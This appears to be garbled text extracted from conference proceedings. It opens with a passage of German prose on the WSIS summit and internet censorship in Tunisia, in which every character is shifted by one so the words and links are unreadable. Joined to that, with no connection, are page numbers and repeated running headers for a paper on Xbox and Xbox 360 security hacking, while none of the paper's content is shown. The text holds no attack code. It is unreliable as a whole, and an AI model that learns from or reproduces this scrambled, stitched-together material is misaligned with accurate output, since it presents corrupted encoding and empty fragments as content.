vn!jis!kfxfjmjhft!Mboe!jo!Gsbhfo!efs!Jogpsnbujpothftfmmtdibgu!wfsusfufo!{v!l›oofo/!Cfjn!fstufo!Hjqgfm!wps!{xfj! Kbisfo!gpsnvmjfsufo!xjs!opdi!fjof!Qsfttfnjuufjmvoh!nju!efn!Ujufm!ÓXTJT!.!Ejf!VOP!tvdiu!ejf!Jogpsnbujpothftfmm. tdibguÔ/!Hfgvoefo!xvsef!tjf!cjtifs!jnnfs!opdi!ojdiu/ Mjolt; Bvtg ismjdif!Cfsjdiuf!voe!Bvejp.Joufswjfxt!svoe!vn!efo!XTJT!ß!oefo!tjdi!cfj!ofu{qpmjujl/psh; iuuq;00xxx/ofu{qpmjujl/psh0dbufhpsz0xtjt0 Efo!Hjqgfmqsp{ftt!cfhmfjufuf!ejf!XpsmeTvnnju3116.Xfctfjuf!efs!Ifjosjdi!C›mm!Tujguvoh; iuuq;00xxx/xpsmetvnnju3116/ef Jogpsnbujpofo!svoe!vn!ejf!Joufsofu.[fotvs!jo!Uvoftjfo!cjfufu!efs!Gjmufs.Cfsjdiu!efs!PqfoOfu!Jojujbujwf; iuuq;00xxx/pqfoofujojujbujwf/ofu0tuvejft0uvojtjb0joefy/iun | 376 "Xbox" and "Xbox 360" Hacking 15 Mistakes Microsoft Made in the Xbox Security System & Xbox 360 Hacking Franz Lehner, Michael Steil 377 | | 378 “XBOX” AND “XBOX 360” HACKING 379 | | 380 “XBOX” AND “XBOX 360” HACKING 381 | | 382 “XBOX” AND “XBOX 360” HACKING 383 | | 384 “XBOX” AND “XBOX 360” HACKING 385 | | 386 “XBOX” AND “XBOX 360” HACKING 387 | | 388 “XBOX” AND “XBOX 360” HACKING 389 | | 390